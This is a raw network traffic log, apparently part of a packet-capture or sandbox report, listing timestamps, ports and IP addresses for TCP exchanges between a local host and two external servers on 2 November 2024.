Nov 2, 2024 07:16:14.190963984 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.190973997 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.190996885 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.190998077 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.191009045 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.191030979 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.191035032 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.191042900 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.191045046 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.191056013 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.191066980 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.191076994 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.191090107 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.191108942 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.191132069 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.191802979 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.191814899 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.191831112 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.191842079 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.191854000 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.191862106 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.191880941 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.191915035 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.192305088 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.192316055 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.192326069 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.192337036 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.192349911 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.192357063 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.192368031 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.192378044 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.192380905 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.192394972 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.192398071 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.192408085 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.192414045 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.192420006 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.192447901 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.192473888 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.193150997 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.193164110 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.193173885 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.193192959 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.193228960 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.193232059 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.193248034 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.193259954 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.193264961 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.193279028 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.193301916 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.347013950 CET	443	63824	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.347407103 CET	63824	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.347448111 CET	443	63824	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.347881079 CET	63824	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.347897053 CET	443	63824	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.357357025 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.357419968 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.357434034 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.357435942 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.357480049 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.357553005 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.357570887 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.357584000 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.357595921 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.357620001 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.357707024 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.357718945 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.357729912 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.357741117 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.357753038 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.357777119 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.357831001 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.357876062 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.357923985 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.357969999 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.358047962 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.358066082 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.358077049 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.358087063 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.358093977 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.358098030 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.358123064 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.358155012 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.358163118 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.358174086 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.358203888 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.358223915 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.358351946 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.358367920 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.358380079 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.358391047 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.358402014 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.358414888 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.358443975 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.358577013 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.358587980 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.358597994 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.358608007 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.358628988 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.358656883 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.358689070 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.358700991 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.358711958 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.358743906 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.358762026 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.358768940 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.358781099 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.358818054 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.358956099 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.358971119 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.358982086 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.358993053 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.359008074 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.359010935 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.359030008 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.359038115 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.359049082 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.359071016 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.359244108 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.359255075 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.359265089 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.359286070 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.359316111 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.359325886 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.359337091 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.359347105 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.359364033 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.359365940 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.359373093 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.359379053 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.359388113 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.359390020 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.359405041 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.359426975 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.359797001 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.359808922 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.359818935 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.359841108 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.359865904 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.359878063 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.359894037 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.359905958 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.359915972 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.359921932 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.359921932 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.359930992 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.359941959 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.359950066 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.359958887 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.359972954 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.363538027 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.363558054 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.363569021 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.363584995 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.363607883 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.363763094 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.363774061 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.363785028 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.363806009 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.363840103 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.363854885 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.363866091 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.363877058 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.363887072 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.363894939 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.363899946 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.363912106 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.363920927 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.363931894 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.363943100 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.363953114 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.363954067 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.363965988 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.363971949 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.363979101 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.363984108 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.364000082 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.364012003 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.364043951 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.364573002 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.364628077 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.364670992 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.364682913 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.364694118 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.364703894 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.364716053 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.364748001 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.364892960 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.364909887 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.364921093 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.364932060 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.364943027 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.364947081 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.364953041 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.364965916 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.364972115 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.364975929 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.364995003 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.365006924 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.365297079 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.365350008 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.365461111 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.365472078 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.365482092 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.365493059 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.365511894 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.365515947 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.365525007 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.365536928 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.365546942 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.365554094 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.365561008 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.365571976 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.365572929 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.365583897 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.365586996 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.365598917 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.365612030 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.365643024 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.476042986 CET	443	63824	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.476119041 CET	443	63824	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.476169109 CET	443	63824	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.476183891 CET	63824	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.476212978 CET	63824	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.477941990 CET	63824	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.477957964 CET	443	63824	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.477974892 CET	63824	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.477978945 CET	443	63824	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.487485886 CET	63829	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.487567902 CET	443	63829	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.488957882 CET	63829	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.489135027 CET	63829	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:14.489155054 CET	443	63829	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:14.525125027 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.525163889 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.525181055 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.525193930 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.525206089 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.525208950 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.525233030 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.525254965 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.525314093 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.525325060 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.525335073 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.525356054 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.525360107 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.525365114 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.525372982 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.525383949 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.525393963 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.525397062 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.525410891 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.525419950 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.525423050 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.525449038 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.525458097 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.525458097 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.525475979 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.525495052 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.525513887 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.525557041 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.525568008 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.525578976 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.525589943 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.525603056 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.525607109 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.525620937 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.525633097 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.525641918 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.525644064 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.525650978 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.525657892 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.525675058 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.525710106 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.525734901 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.525882959 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.525899887 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.525912046 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.525923014 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.525923967 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.525934935 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.525943041 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.525948048 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.525955915 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.525962114 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.525973082 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.525990009 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.525990963 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.526004076 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.526015997 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.526020050 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.526027918 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.526038885 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.526062965 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.526063919 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.526077986 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.526120901 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.526374102 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.526384115 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.526395082 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.526417017 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.526423931 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.526442051 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.526448011 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.526448965 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.526468992 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.526484013 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.526487112 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.526514053 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.526535988 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.526546955 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.526547909 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.526560068 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.526571989 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.526585102 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.526587963 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.526602030 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.526604891 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.526614904 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.526627064 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.526633024 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.526643991 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.526654005 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.526654959 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.526669979 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.526700020 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.526721001 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.526843071 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.526854038 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.526865005 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.526876926 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.526886940 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.526891947 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.526899099 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.526902914 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.526911974 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.526916981 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.526922941 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:14.526932955 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:14.526937008 CET	80	63819	185.215.113.16	192.168.2.4
